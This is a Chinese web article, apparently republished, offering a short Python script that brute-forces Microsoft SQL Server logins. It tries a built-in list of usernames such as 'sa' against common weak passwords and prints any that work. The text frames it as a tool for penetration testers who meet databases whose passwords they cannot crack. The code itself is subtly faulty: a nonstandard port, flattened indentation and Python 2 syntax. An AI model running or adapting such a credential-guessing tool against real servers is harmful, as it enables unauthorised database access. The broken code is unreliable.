视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
Python版Mssql爆破小脚本
2020-11-09 07:01:07 责编:小采
文档


Mssql Python版本爆破小脚本,需要安装 MSSQL-python.exe 可以看出代码量很少,用法:保存代码为MssqlDatabaseBlasting.py,cmd切换到 MssqlDatabaseBlasting.py路径下,并 执行 MssqlDatabaseBlasting.py即可开始破解

import pymssql
common_weak_password = ('','123456','test','root','admin','user')#密码字典
mssql_username = ('sa', 'test', 'admin', 'mssql')#账号字典

success = False
host = "127.0.0.1"#数据库IP地址
port = 1443
for username in mssql_username:
 for password in common_weak_password:
 try:
 db = pymssql.connect(server=host, port=port, user=username, password=password)
 success = True
 if success:
 print username, password
 except Exception, e:
 pass

说明:看到很多网络安全爱好者,在进行渗透测试的时候,遇到数据库可以远程管理,但是无法破解其账号密码,所以此篇文章就推送几个脚本进行渗透。

您可能感兴趣的文章:

  • Python连接mssql数据库编码问题解决方法
  • Python基于Pymssql模块实现连接SQL Server数据库的方法详解
  • 如何处理Python3.4 使用pymssql 乱码问题
  • Python3连接SQLServer、Oracle、MySql的方法
  • Python实现读取SQLServer数据并插入到MongoDB数据库的方法示例
  • Python操作Sql Server 2008数据库的方法详解
  • Python3操作SQL Server数据库(实例讲解)
  • python访问sqlserver示例
  • python连接sql server乱码的解决方法
  • Python实现的连接mssql数据库操作示例
  • 下载本文
    显示全文
    专题